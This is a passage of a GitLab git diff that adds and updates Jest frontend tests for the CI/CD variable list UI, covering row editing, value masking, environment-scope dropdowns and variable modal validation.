@@ -4,9 +4,11 @@ import { registerCaptchaModalInterceptor } from '~/captcha/captcha_modal_axios_i
import UnsolvedCaptchaError from '~/captcha/unsolved_captcha_error';
import { waitForCaptchaToBeSolved } from '~/captcha/wait_for_captcha_to_be_solved';
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes, {
+import {
HTTP_STATUS_CONFLICT,
HTTP_STATUS_METHOD_NOT_ALLOWED,
+ HTTP_STATUS_NOT_FOUND,
+ HTTP_STATUS_OK,
} from '~/lib/utils/http_status';
jest.mock('~/captcha/wait_for_captcha_to_be_solved');
@@ -46,7 +48,7 @@ describe('registerCaptchaModalInterceptor', () => {
} = config.headers;
if (captchaResponse === CAPTCHA_RESPONSE && spamLogId === SPAM_LOG_ID) {
- return [httpStatusCodes.OK, { ...data, method: config.method, CAPTCHA_SUCCESS }];
+ return [HTTP_STATUS_OK, { ...data, method: config.method, CAPTCHA_SUCCESS }];
}
return [HTTP_STATUS_CONFLICT, NEEDS_CAPTCHA_RESPONSE];
@@ -64,7 +66,7 @@ describe('registerCaptchaModalInterceptor', () => {
it('successful requests are passed through', async () => {
const { data, status } = await axios[method]('/endpoint-without-captcha');
- expect(status).toEqual(httpStatusCodes.OK);
+ expect(status).toEqual(HTTP_STATUS_OK);
expect(data).toEqual(AXIOS_RESPONSE);
expect(mock.history[method]).toHaveLength(1);
});
@@ -73,7 +75,7 @@ describe('registerCaptchaModalInterceptor', () => {
await expect(() => axios[method]('/endpoint-with-unrelated-error')).rejects.toThrow(
expect.objectContaining({
response: expect.objectContaining({
- status: httpStatusCodes.NOT_FOUND,
+ status: HTTP_STATUS_NOT_FOUND,
data: AXIOS_RESPONSE,
}),
}),
diff --git a/spec/frontend/ci/ci_variable_list/ci_variable_list/ci_variable_list_spec.js b/spec/frontend/ci/ci_variable_list/ci_variable_list/ci_variable_list_spec.js
new file mode 100644
index 00000000000..e4abedb412f
--- /dev/null
+++ b/spec/frontend/ci/ci_variable_list/ci_variable_list/ci_variable_list_spec.js
@@ -0,0 +1,159 @@
+import $ from 'jquery';
+import { loadHTMLFixture, resetHTMLFixture } from 'helpers/fixtures';
+import VariableList from '~/ci/ci_variable_list/ci_variable_list';
+
+const HIDE_CLASS = 'hide';
+
+describe('VariableList', () => {
+ let $wrapper;
+ let variableList;
+
+ describe('with only key/value inputs', () => {
+ describe('with no variables', () => {
+ beforeEach(() => {
+ loadHTMLFixture('pipeline_schedules/edit.html');
+ $wrapper = $('.js-ci-variable-list-section');
+
+ variableList = new VariableList({
+ container: $wrapper,
+ formField: 'schedule',
+ });
+ variableList.init();
+ });
+
+ afterEach(() => {
+ resetHTMLFixture();
+ });
+
+ it('should remove the row when clicking the remove button', () => {
+ $wrapper.find('.js-row-remove-button').trigger('click');
+
+ expect($wrapper.find('.js-row').length).toBe(0);
+ });
+
+ it('should add another row when editing the last rows key input', () => {
+ const $row = $wrapper.find('.js-row');
+ $row.find('.js-ci-variable-input-key').val('foo').trigger('input');
+
+ expect($wrapper.find('.js-row').length).toBe(2);
+
+ // Check for the correct default in the new row
+ const $keyInput = $wrapper.find('.js-row:last-child').find('.js-ci-variable-input-key');
+
+ expect($keyInput.val()).toBe('');
+ });
+
+ it('should add another row when editing the last rows value textarea', () => {
+ const $row = $wrapper.find('.js-row');
+ $row.find('.js-ci-variable-input-value').val('foo').trigger('input');
+
+ expect($wrapper.find('.js-row').length).toBe(2);
+
+ // Check for the correct default in the new row
+ const $valueInput = $wrapper.find('.js-row:last-child').find('.js-ci-variable-input-key');
+
+ expect($valueInput.val()).toBe('');
+ });
+
+ it('should remove empty row after blurring', () => {
+ const $row = $wrapper.find('.js-row');
+ $row.find('.js-ci-variable-input-key').val('foo').trigger('input');
+
+ expect($wrapper.find('.js-row').length).toBe(2);
+
+ $row.find('.js-ci-variable-input-key').val('').trigger('input').trigger('blur');
+
+ expect($wrapper.find('.js-row').length).toBe(1);
+ });
+ });
+
+ describe('with persisted variables', () => {
+ beforeEach(() => {
+ loadHTMLFixture('pipeline_schedules/edit_with_variables.html');
+ $wrapper = $('.js-ci-variable-list-section');
+
+ variableList = new VariableList({
+ container: $wrapper,
+ formField: 'schedule',
+ });
+ variableList.init();
+ });
+
+ afterEach(() => {
+ resetHTMLFixture();
+ });
+
+ it('should have "Reveal values" button initially when there are already variables', () => {
+ expect($wrapper.find('.js-secret-value-reveal-button').text()).toBe('Reveal values');
+ });
+
+ it('should reveal hidden values', () => {
+ const $row = $wrapper.find('.js-row:first-child');
+ const $inputValue = $row.find('.js-ci-variable-input-value');
+ const $placeholder = $row.find('.js-secret-value-placeholder');
+
+ expect($placeholder.hasClass(HIDE_CLASS)).toBe(false);
+ expect($inputValue.hasClass(HIDE_CLASS)).toBe(true);
+
+ // Reveal values
+ $wrapper.find('.js-secret-value-reveal-button').click();
+
+ expect($placeholder.hasClass(HIDE_CLASS)).toBe(true);
+ expect($inputValue.hasClass(HIDE_CLASS)).toBe(false);
+ });
+ });
+ });
+
+ describe('toggleEnableRow method', () => {
+ beforeEach(() => {
+ loadHTMLFixture('pipeline_schedules/edit_with_variables.html');
+ $wrapper = $('.js-ci-variable-list-section');
+
+ variableList = new VariableList({
+ container: $wrapper,
+ formField: 'variables',
+ });
+ variableList.init();
+ });
+
+ afterEach(() => {
+ resetHTMLFixture();
+ });
+
+ it('should disable all key inputs', () => {
+ expect($wrapper.find('.js-ci-variable-input-key:not([disabled])').length).toBe(3);
+
+ variableList.toggleEnableRow(false);
+
+ expect($wrapper.find('.js-ci-variable-input-key[disabled]').length).toBe(3);
+ });
+
+ it('should disable all remove buttons', () => {
+ expect($wrapper.find('.js-row-remove-button:not([disabled])').length).toBe(3);
+
+ variableList.toggleEnableRow(false);
+
+ expect($wrapper.find('.js-row-remove-button[disabled]').length).toBe(3);
+ });
+
+ it('should enable all remove buttons', () => {
+ variableList.toggleEnableRow(false);
+
+ expect($wrapper.find('.js-row-remove-button[disabled]').length).toBe(3);
+
+ variableList.toggleEnableRow(true);
+
+ expect($wrapper.find('.js-row-remove-button:not([disabled])').length).toBe(3);
+ });
+
+ it('should enable all key inputs', () => {
+ variableList.toggleEnableRow(false);
+
+ expect($wrapper.find('.js-ci-variable-input-key[disabled]').length).toBe(3);
+
+ variableList.toggleEnableRow(true);
+
+ expect($wrapper.find('.js-ci-variable-input-key:not([disabled])').length).toBe(3);
+ });
+ });
+});
diff --git a/spec/frontend/ci/ci_variable_list/ci_variable_list/native_form_variable_list_spec.js b/spec/frontend/ci/ci_variable_list/ci_variable_list/native_form_variable_list_spec.js
new file mode 100644
index 00000000000..71e8e6d3afb
--- /dev/null
+++ b/spec/frontend/ci/ci_variable_list/ci_variable_list/native_form_variable_list_spec.js
@@ -0,0 +1,40 @@
+import $ from 'jquery';
+import { loadHTMLFixture, resetHTMLFixture } from 'helpers/fixtures';
+import setupNativeFormVariableList from '~/ci/ci_variable_list/native_form_variable_list';
+
+describe('NativeFormVariableList', () => {
+ let $wrapper;
+
+ beforeEach(() => {
+ loadHTMLFixture('pipeline_schedules/edit.html');
+ $wrapper = $('.js-ci-variable-list-section');
+
+ setupNativeFormVariableList({
+ container: $wrapper,
+ formField: 'schedule',
+ });
+ });
+
+ afterEach(() => {
+ resetHTMLFixture();
+ });
+
+ describe('onFormSubmit', () => {
+ it('should clear out the `name` attribute on the inputs for the last empty row on form submission (avoid BE validation)', () => {
+ const $row = $wrapper.find('.js-row');
+
+ expect($row.find('.js-ci-variable-input-key').attr('name')).toBe(
+ 'schedule[variables_attributes][][key]',
+ );
+
+ expect($row.find('.js-ci-variable-input-value').attr('name')).toBe(
+ 'schedule[variables_attributes][][secret_value]',
+ );
+
+ $wrapper.closest('form').trigger('trigger-submit');
+
+ expect($row.find('.js-ci-variable-input-key').attr('name')).toBe('');
+ expect($row.find('.js-ci-variable-input-value').attr('name')).toBe('');
+ });
+ });
+});
diff --git a/spec/frontend/ci/ci_variable_list/components/ci_admin_variables_spec.js b/spec/frontend/ci/ci_variable_list/components/ci_admin_variables_spec.js
new file mode 100644
index 00000000000..5e0c35c9f90
--- /dev/null
+++ b/spec/frontend/ci/ci_variable_list/components/ci_admin_variables_spec.js
@@ -0,0 +1,36 @@
+import { shallowMount } from '@vue/test-utils';
+
+import ciAdminVariables from '~/ci/ci_variable_list/components/ci_admin_variables.vue';
+import ciVariableShared from '~/ci/ci_variable_list/components/ci_variable_shared.vue';
+
+describe('Ci Project Variable wrapper', () => {
+ let wrapper;
+
+ const findCiShared = () => wrapper.findComponent(ciVariableShared);
+
+ const createComponent = () => {
+ wrapper = shallowMount(ciAdminVariables);
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('Passes down the correct props to ci_variable_shared', () => {
+ expect(findCiShared().props()).toEqual({
+ areScopedVariablesAvailable: false,
+ componentName: 'InstanceVariables',
+ entity: '',
+ hideEnvironmentScope: true,
+ mutationData: wrapper.vm.$options.mutationData,
+ queryData: wrapper.vm.$options.queryData,
+ refetchAfterMutation: true,
+ fullPath: null,
+ id: null,
+ });
+ });
+});
diff --git a/spec/frontend/ci/ci_variable_list/components/ci_environments_dropdown_spec.js b/spec/frontend/ci/ci_variable_list/components/ci_environments_dropdown_spec.js
new file mode 100644
index 00000000000..2fd395a1230
--- /dev/null
+++ b/spec/frontend/ci/ci_variable_list/components/ci_environments_dropdown_spec.js
@@ -0,0 +1,118 @@
+import { GlListboxItem, GlCollapsibleListbox, GlDropdownItem, GlIcon } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import { allEnvironments } from '~/ci/ci_variable_list/constants';
+import CiEnvironmentsDropdown from '~/ci/ci_variable_list/components/ci_environments_dropdown.vue';
+
+describe('Ci environments dropdown', () => {
+ let wrapper;
+
+ const envs = ['dev', 'prod', 'staging'];
+ const defaultProps = { environments: envs, selectedEnvironmentScope: '' };
+
+ const findAllListboxItems = () => wrapper.findAllComponents(GlListboxItem);
+ const findListboxItemByIndex = (index) => wrapper.findAllComponents(GlListboxItem).at(index);
+ const findActiveIconByIndex = (index) => findListboxItemByIndex(index).findComponent(GlIcon);
+ const findListbox = () => wrapper.findComponent(GlCollapsibleListbox);
+ const findListboxText = () => findListbox().props('toggleText');
+ const findCreateWildcardButton = () => wrapper.findComponent(GlDropdownItem);
+
+ const createComponent = ({ props = {}, searchTerm = '' } = {}) => {
+ wrapper = mount(CiEnvironmentsDropdown, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+
+ findListbox().vm.$emit('search', searchTerm);
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('No environments found', () => {
+ beforeEach(() => {
+ createComponent({ searchTerm: 'stable' });
+ });
+
+ it('renders create button with search term if environments do not contain search term', () => {
+ const button = findCreateWildcardButton();
+ expect(button.exists()).toBe(true);
+ expect(button.text()).toBe('Create wildcard: stable');
+ });
+ });
+
+ describe('Search term is empty', () => {
+ beforeEach(() => {
+ createComponent({ props: { environments: envs } });
+ });
+
+ it('renders all environments when search term is empty', () => {
+ expect(findListboxItemByIndex(0).text()).toBe(envs[0]);
+ expect(findListboxItemByIndex(1).text()).toBe(envs[1]);
+ expect(findListboxItemByIndex(2).text()).toBe(envs[2]);
+ });
+
+ it('does not display active checkmark on the inactive stage', () => {
+ expect(findActiveIconByIndex(0).classes('gl-visibility-hidden')).toBe(true);
+ });
+ });
+
+ describe('when `*` is the value of selectedEnvironmentScope props', () => {
+ const wildcardScope = '*';
+
+ beforeEach(() => {
+ createComponent({ props: { selectedEnvironmentScope: wildcardScope } });
+ });
+
+ it('shows the `All environments` text and not the wildcard', () => {
+ expect(findListboxText()).toContain(allEnvironments.text);
+ expect(findListboxText()).not.toContain(wildcardScope);
+ });
+ });
+
+ describe('Environments found', () => {
+ const currentEnv = envs[2];
+
+ beforeEach(() => {
+ createComponent({ searchTerm: currentEnv });
+ });
+
+ it('renders only the environment searched for', () => {
+ expect(findAllListboxItems()).toHaveLength(1);
+ expect(findListboxItemByIndex(0).text()).toBe(currentEnv);
+ });
+
+ it('does not display create button', () => {
+ expect(findCreateWildcardButton().exists()).toBe(false);
+ });
+
+ describe('Custom events', () => {
+ describe('when selecting an environment', () => {
+ const itemIndex = 0;
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('emits `select-environment` when an environment is clicked', () => {
+ findListbox().vm.$emit('select', envs[itemIndex]);
+ expect(wrapper.emitted('select-environment')).toEqual([[envs[itemIndex]]]);
+ });
+ });
+
+ describe('when creating a new environment from a search term', () => {
+ const search = 'new-env';
+ beforeEach(() => {
+ createComponent({ searchTerm: search });
+ });
+
+ it('emits create-environment-scope', () => {
+ findCreateWildcardButton().vm.$emit('click');
+ expect(wrapper.emitted('create-environment-scope')).toEqual([[search]]);
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/ci/ci_variable_list/components/ci_group_variables_spec.js b/spec/frontend/ci/ci_variable_list/components/ci_group_variables_spec.js
new file mode 100644
index 00000000000..3f1eebbc6a5
--- /dev/null
+++ b/spec/frontend/ci/ci_variable_list/components/ci_group_variables_spec.js
@@ -0,0 +1,73 @@
+import { shallowMount } from '@vue/test-utils';
+import { convertToGraphQLId } from '~/graphql_shared/utils';
+
+import ciGroupVariables from '~/ci/ci_variable_list/components/ci_group_variables.vue';
+import ciVariableShared from '~/ci/ci_variable_list/components/ci_variable_shared.vue';
+
+import { GRAPHQL_GROUP_TYPE } from '~/ci/ci_variable_list/constants';
+
+const mockProvide = {
+ glFeatures: {
+ groupScopedCiVariables: false,
+ },
+ groupPath: '/group',
+ groupId: 12,
+};
+
+describe('Ci Group Variable wrapper', () => {
+ let wrapper;
+
+ const findCiShared = () => wrapper.findComponent(ciVariableShared);
+
+ const createComponent = ({ provide = {} } = {}) => {
+ wrapper = shallowMount(ciGroupVariables, {
+ provide: { ...mockProvide, ...provide },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('Props', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('are passed down the correctly to ci_variable_shared', () => {
+ expect(findCiShared().props()).toEqual({
+ id: convertToGraphQLId(GRAPHQL_GROUP_TYPE, mockProvide.groupId),
+ areScopedVariablesAvailable: false,
+ componentName: 'GroupVariables',
+ entity: 'group',
+ fullPath: mockProvide.groupPath,
+ hideEnvironmentScope: false,
+ mutationData: wrapper.vm.$options.mutationData,
+ queryData: wrapper.vm.$options.queryData,
+ refetchAfterMutation: false,
+ });
+ });
+ });
+
+ describe('feature flag', () => {
+ describe('When enabled', () => {
+ beforeEach(() => {
+ createComponent({ provide: { glFeatures: { groupScopedCiVariables: true } } });
+ });
+
+ it('Passes down `true` to variable shared component', () => {
+ expect(findCiShared().props('areScopedVariablesAvailable')).toBe(true);
+ });
+ });
+
+ describe('When disabled', () => {
+ beforeEach(() => {
+ createComponent({ provide: { glFeatures: { groupScopedCiVariables: false } } });
+ });
+
+ it('Passes down `false` to variable shared component', () => {
+ expect(findCiShared().props('areScopedVariablesAvailable')).toBe(false);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/ci/ci_variable_list/components/ci_project_variables_spec.js b/spec/frontend/ci/ci_variable_list/components/ci_project_variables_spec.js
new file mode 100644
index 00000000000..7230017c560
--- /dev/null
+++ b/spec/frontend/ci/ci_variable_list/components/ci_project_variables_spec.js
@@ -0,0 +1,46 @@
+import { shallowMount } from '@vue/test-utils';
+import { convertToGraphQLId } from '~/graphql_shared/utils';
+
+import ciProjectVariables from '~/ci/ci_variable_list/components/ci_project_variables.vue';
+import ciVariableShared from '~/ci/ci_variable_list/components/ci_variable_shared.vue';
+
+import { GRAPHQL_PROJECT_TYPE } from '~/ci/ci_variable_list/constants';
+
+const mockProvide = {
+ projectFullPath: '/namespace/project',
+ projectId: 1,
+};
+
+describe('Ci Project Variable wrapper', () => {
+ let wrapper;
+
+ const findCiShared = () => wrapper.findComponent(ciVariableShared);
+
+ const createComponent = () => {
+ wrapper = shallowMount(ciProjectVariables, {
+ provide: mockProvide,
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('Passes down the correct props to ci_variable_shared', () => {
+ expect(findCiShared().props()).toEqual({
+ id: convertToGraphQLId(GRAPHQL_PROJECT_TYPE, mockProvide.projectId),
+ areScopedVariablesAvailable: true,
+ componentName: 'ProjectVariables',
+ entity: 'project',
+ fullPath: mockProvide.projectFullPath,
+ hideEnvironmentScope: false,
+ mutationData: wrapper.vm.$options.mutationData,
+ queryData: wrapper.vm.$options.queryData,
+ refetchAfterMutation: false,
+ });
+ });
+});
diff --git a/spec/frontend/ci/ci_variable_list/components/ci_variable_modal_spec.js b/spec/frontend/ci/ci_variable_list/components/ci_variable_modal_spec.js
new file mode 100644
index 00000000000..7838e4884d8
--- /dev/null
+++ b/spec/frontend/ci/ci_variable_list/components/ci_variable_modal_spec.js
@@ -0,0 +1,520 @@
+import { GlButton, GlFormInput } from '@gitlab/ui';
+import { mockTracking } from 'helpers/tracking_helper';
+import { shallowMountExtended, mountExtended } from 'helpers/vue_test_utils_helper';
+import CiEnvironmentsDropdown from '~/ci/ci_variable_list/components/ci_environments_dropdown.vue';
+import CiVariableModal from '~/ci/ci_variable_list/components/ci_variable_modal.vue';
+import {
+ ADD_VARIABLE_ACTION,
+ AWS_ACCESS_KEY_ID,
+ EDIT_VARIABLE_ACTION,
+ EVENT_LABEL,
+ EVENT_ACTION,
+ ENVIRONMENT_SCOPE_LINK_TITLE,
+ instanceString,
+ variableOptions,
+} from '~/ci/ci_variable_list/constants';
+import { mockVariablesWithScopes } from '../mocks';
+import ModalStub from '../stubs';
+
+describe('Ci variable modal', () => {
+ let wrapper;
+ let trackingSpy;
+
+ const maskableRegex = '^[a-zA-Z0-9_+=/@:.~-]{8,}$';
+ const mockVariables = mockVariablesWithScopes(instanceString);
+
+ const defaultProvide = {
+ awsLogoSvgPath: '/logo',
+ awsTipCommandsLink: '/tips',
+ awsTipDeployLink: '/deploy',
+ awsTipLearnLink: '/learn-link',
+ containsVariableReferenceLink: '/reference',
+ environmentScopeLink: '/help/environments',
+ isProtectedByDefault: false,
+ maskedEnvironmentVariablesLink: '/variables-link',
+ maskableRegex,
+ protectedEnvironmentVariablesLink: '/protected-link',
+ };
+
+ const defaultProps = {
+ areScopedVariablesAvailable: true,
+ environments: [],
+ hideEnvironmentScope: false,
+ mode: ADD_VARIABLE_ACTION,
+ selectedVariable: {},
+ variable: [],
+ };
+
+ const createComponent = ({ mountFn = shallowMountExtended, props = {}, provide = {} } = {}) => {
+ wrapper = mountFn(CiVariableModal, {
+ attachTo: document.body,
+ provide: { ...defaultProvide, ...provide },
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ stubs: {
+ GlModal: ModalStub,
+ },
+ });
+ };
+
+ const findCiEnvironmentsDropdown = () => wrapper.findComponent(CiEnvironmentsDropdown);
+ const findReferenceWarning = () => wrapper.findByTestId('contains-variable-reference');
+ const findModal = () => wrapper.findComponent(ModalStub);
+ const findAWSTip = () => wrapper.findByTestId('aws-guidance-tip');
+ const findAddorUpdateButton = () => wrapper.findByTestId('ciUpdateOrAddVariableBtn');
+ const deleteVariableButton = () =>
+ findModal()
+ .findAllComponents(GlButton)
+ .wrappers.find((button) => button.props('variant') === 'danger');
+ const findExpandedVariableCheckbox = () => wrapper.findByTestId('ci-variable-expanded-checkbox');
+ const findProtectedVariableCheckbox = () =>
+ wrapper.findByTestId('ci-variable-protected-checkbox');
+ const findMaskedVariableCheckbox = () => wrapper.findByTestId('ci-variable-masked-checkbox');
+ const findValueField = () => wrapper.find('#ci-variable-value');
+ const findEnvScopeLink = () => wrapper.findByTestId('environment-scope-link');
+ const findEnvScopeInput = () =>
+ wrapper.findByTestId('environment-scope').findComponent(GlFormInput);
+ const findRawVarTip = () => wrapper.findByTestId('raw-variable-tip');
+ const findVariableTypeDropdown = () => wrapper.find('#ci-variable-type');
+ const findEnvironmentScopeText = () => wrapper.findByText('Environment scope');
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('Adding a variable', () => {
+ describe('when no key/value pair are present', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('shows the submit button as disabled', () => {
+ expect(findAddorUpdateButton().attributes('disabled')).toBe('true');
+ });
+ });
+
+ describe('when a key/value pair is present', () => {
+ beforeEach(() => {
+ createComponent({ props: { selectedVariable: mockVariables[0] } });
+ });
+
+ it('shows the submit button as enabled', () => {
+ expect(findAddorUpdateButton().attributes('disabled')).toBeUndefined();
+ });
+ });
+
+ describe('events', () => {
+ const [currentVariable] = mockVariables;
+
+ beforeEach(() => {
+ createComponent({ props: { selectedVariable: currentVariable } });
+ jest.spyOn(wrapper.vm, '$emit');
+ });
+
+ it('Dispatches `add-variable` action on submit', () => {
+ findAddorUpdateButton().vm.$emit('click');
+ expect(wrapper.emitted('add-variable')).toEqual([[currentVariable]]);
+ });
+
+ it('Dispatches the `hideModal` event when dismissing', () => {
+ findModal().vm.$emit('hidden');
+ expect(wrapper.emitted('hideModal')).toEqual([[]]);
+ });
+ });
+ });
+
+ describe('when protected by default', () => {
+ describe('when adding a new variable', () => {
+ beforeEach(() => {
+ createComponent({ provide: { isProtectedByDefault: true } });
+ findModal().vm.$emit('shown');
+ });
+
+ it('updates the protected value to true', () => {
+ expect(findProtectedVariableCheckbox().attributes('data-is-protected-checked')).toBe(
+ 'true',
+ );
+ });
+ });
+
+ describe('when editing a variable', () => {
+ beforeEach(() => {
+ createComponent({
+ provide: { isProtectedByDefault: false },
+ props: {
+ selectedVariable: {},
+ mode: EDIT_VARIABLE_ACTION,
+ },
+ });
+ findModal().vm.$emit('shown');
+ });
+
+ it('keeps the value as false', async () => {
+ expect(
+ findProtectedVariableCheckbox().attributes('data-is-protected-checked'),
+ ).toBeUndefined();
+ });
+ });
+ });
+
+ describe('Adding a new non-AWS variable', () => {
+ beforeEach(() => {
+ const [variable] = mockVariables;
+ createComponent({ mountFn: mountExtended, props: { selectedVariable: variable } });
+ });
+
+ it('does not show AWS guidance tip', () => {
+ const tip = findAWSTip();
+ expect(tip.exists()).toBe(true);
+ expect(tip.isVisible()).toBe(false);
+ });
+ });
+
+ describe('Adding a new AWS variable', () => {
+ beforeEach(() => {
+ const [variable] = mockVariables;
+ const AWSKeyVariable = {
+ ...variable,
+ key: AWS_ACCESS_KEY_ID,
+ value: 'AKIAIOSFODNN7EXAMPLEjdhy',
+ };
+ createComponent({ mountFn: mountExtended, props: { selectedVariable: AWSKeyVariable } });
+ });
+
+ it('shows AWS guidance tip', () => {
+ const tip = findAWSTip();
+ expect(tip.exists()).toBe(true);
+ expect(tip.isVisible()).toBe(true);
+ });
+ });
+
+ describe('when expanded', () => {
+ describe('with a $ character', () => {
+ beforeEach(() => {
+ const [variable] = mockVariables;
+ const variableWithDollarSign = {
+ ...variable,
+ value: 'valueWith$',
+ };
+ createComponent({
+ mountFn: mountExtended,
+ props: { selectedVariable: variableWithDollarSign },
+ });
+ });
+
+ it(`renders the variable reference warning`, () => {
+ expect(findReferenceWarning().exists()).toBe(true);
+ });
+
+ it(`does not render raw variable tip`, () => {
+ expect(findRawVarTip().exists()).toBe(false);
+ });
+ });
+
+ describe('without a $ character', () => {
+ beforeEach(() => {
+ const [variable] = mockVariables;
+ createComponent({
+ mountFn: mountExtended,
+ props: { selectedVariable: variable },
+ });
+ });
+
+ it(`does not render the variable reference warning`, () => {
+ expect(findReferenceWarning().exists()).toBe(false);
+ });
+
+ it(`does not render raw variable tip`, () => {
+ expect(findRawVarTip().exists()).toBe(false);
+ });
+ });
+
+ describe('setting raw value', () => {
+ const [variable] = mockVariables;
+
+ it('defaults to expanded and raw:false when adding a variable', () => {
+ createComponent({ props: { selectedVariable: variable } });
+ jest.spyOn(wrapper.vm, '$emit');
+
+ findModal().vm.$emit('shown');
+
+ expect(findExpandedVariableCheckbox().attributes('checked')).toBe('true');
+
+ findAddorUpdateButton().vm.$emit('click');
+
+ expect(wrapper.emitted('add-variable')).toEqual([
+ [
+ {
+ ...variable,
+ raw: false,
+ },
+ ],
+ ]);
+ });
+
+ it('sets correct raw value when editing', async () => {
+ createComponent({
+ props: {
+ selectedVariable: variable,
+ mode: EDIT_VARIABLE_ACTION,
+ },
+ });
+ jest.spyOn(wrapper.vm, '$emit');
+
+ findModal().vm.$emit('shown');
+ await findExpandedVariableCheckbox().vm.$emit('change');
+ await findAddorUpdateButton().vm.$emit('click');
+
+ expect(wrapper.emitted('update-variable')).toEqual([
+ [
+ {
+ ...variable,
+ raw: true,
+ },
+ ],
+ ]);
+ });
+ });
+ });
+
+ describe('when not expanded', () => {
+ describe('with a $ character', () => {
+ beforeEach(() => {
+ const selectedVariable = mockVariables[1];
+ createComponent({
+ mountFn: mountExtended,
+ props: { selectedVariable },
+ });
+ });
+
+ it(`renders raw variable tip`, () => {
+ expect(findRawVarTip().exists()).toBe(true);
+ });
+ });
+ });
+
+ describe('Editing a variable', () => {
+ const [variable] = mockVariables;
+
+ beforeEach(() => {
+ createComponent({ props: { selectedVariable: variable, mode: EDIT_VARIABLE_ACTION } });
+ jest.spyOn(wrapper.vm, '$emit');
+ });
+
+ it('button text is Update variable when updating', () => {
+ expect(findAddorUpdateButton().text()).toBe('Update variable');
+ });
+
+ it('Update variable button dispatches updateVariable with correct variable', () => {
+ findAddorUpdateButton().vm.$emit('click');
+ expect(wrapper.emitted('update-variable')).toEqual([[variable]]);
+ });
+
+ it('Propagates the `hideModal` event', () => {
+ findModal().vm.$emit('hidden');
+ expect(wrapper.emitted('hideModal')).toEqual([[]]);
+ });
+
+ it('dispatches `delete-variable` with correct variable to delete', () => {
+ deleteVariableButton().vm.$emit('click');
+ expect(wrapper.emitted('delete-variable')).toEqual([[variable]]);
+ });
+ });
+
+ describe('Environment scope', () => {
+ describe('when feature is available', () => {
+ describe('and section is not hidden', () => {
+ beforeEach(() => {
+ createComponent({
+ mountFn: mountExtended,
+ props: {
+ areScopedVariablesAvailable: true,
+ hideEnvironmentScope: false,
+ },
+ });
+ });
+
+ it('renders the environment dropdown and section title', () => {
+ expect(findCiEnvironmentsDropdown().exists()).toBe(true);
+ expect(findCiEnvironmentsDropdown().isVisible()).toBe(true);
+ expect(findEnvironmentScopeText().exists()).toBe(true);
+ });
+
+ it('renders a link to documentation on scopes', () => {
+ const link = findEnvScopeLink();
+
+ expect(link.attributes('title')).toBe(ENVIRONMENT_SCOPE_LINK_TITLE);
+ expect(link.attributes('href')).toBe(defaultProvide.environmentScopeLink);
+ });
+ });
+
+ describe('and section is hidden', () => {
+ beforeEach(() => {
+ createComponent({
+ mountFn: mountExtended,
+ props: {
+ areScopedVariablesAvailable: true,
+ hideEnvironmentScope: true,
+ },
+ });
+ });
+
+ it('does not renders the environment dropdown and section title', () => {
+ expect(findCiEnvironmentsDropdown().exists()).toBe(false);
+ expect(findEnvironmentScopeText().exists()).toBe(false);
+ });
+ });
+ });
+
+ describe('when feature is not available', () => {
+ describe('and section is not hidden', () => {
+ beforeEach(() => {
+ createComponent({
+ mountFn: mountExtended,
+ props: {
+ areScopedVariablesAvailable: false,
+ hideEnvironmentScope: false,
+ },
+ });
+ });
+
+ it('disables the dropdown', () => {
+ expect(findCiEnvironmentsDropdown().exists()).toBe(false);
+ expect(findEnvironmentScopeText().exists()).toBe(true);
+ expect(findEnvScopeInput().attributes('readonly')).toBe('readonly');
+ });
+ });
+
+ describe('and section is hidden', () => {
+ beforeEach(() => {
+ createComponent({
+ mountFn: mountExtended,
+ props: {
+ areScopedVariablesAvailable: false,
+ hideEnvironmentScope: true,
+ },
+ });
+ });
+
+ it('hides the dropdown', () => {
+ expect(findEnvironmentScopeText().exists()).toBe(false);
+ expect(findCiEnvironmentsDropdown().exists()).toBe(false);
+ });
+ });
+ });
+ });
+
+ describe('variable type dropdown', () => {
+ describe('default behaviour', () => {
+ beforeEach(() => {
+ createComponent({ mountFn: mountExtended });
+ });
+
+ it('adds each option as a dropdown item', () => {
+ expect(findVariableTypeDropdown().findAll('option')).toHaveLength(variableOptions.length);
+ variableOptions.forEach((v) => {
+ expect(findVariableTypeDropdown().text()).toContain(v.text);
+ });
+ });
+ });
+ });
+
+ describe('Validations', () => {
+ const maskError = 'This variable can not be masked.';
+
+ describe('when the mask state is invalid', () => {
+ beforeEach(async () => {
+ const [variable] = mockVariables;
+ const invalidMaskVariable = {
+ ...variable,
+ value: 'd:;',
+ masked: false,
+ };
+ createComponent({
+ mountFn: mountExtended,
+ props: { selectedVariable: invalidMaskVariable },
+ });
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
+ await findMaskedVariableCheckbox().trigger('click');
+ });
+
+ it('disables the submit button', () => {
+ expect(findAddorUpdateButton().attributes('disabled')).toBe('disabled');
+ });
+
+ it('shows the correct error text', () => {
+ expect(findModal().text()).toContain(maskError);
+ });
+
+ it('sends the correct tracking event', () => {
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, EVENT_ACTION, {
+ label: EVENT_LABEL,
+ property: ';',
+ });
+ });
+ });
+
+ describe.each`
+ value | masked | eventSent | trackingErrorProperty
+ ${'secretValue'} | ${false} | ${0} | ${null}
+ ${'short'} | ${true} | ${0} | ${null}
+ ${'dollar$ign'} | ${false} | ${1} | ${'$'}
+ ${'dollar$ign'} | ${true} | ${1} | ${'$'}
+ ${'unsupported|char'} | ${true} | ${1} | ${'|'}
+ ${'unsupported|char'} | ${false} | ${0} | ${null}
+ `('Adding a new variable', ({ value, masked, eventSent, trackingErrorProperty }) => {
+ beforeEach(async () => {
+ const [variable] = mockVariables;
+ const invalidKeyVariable = {
+ ...variable,
+ value: '',
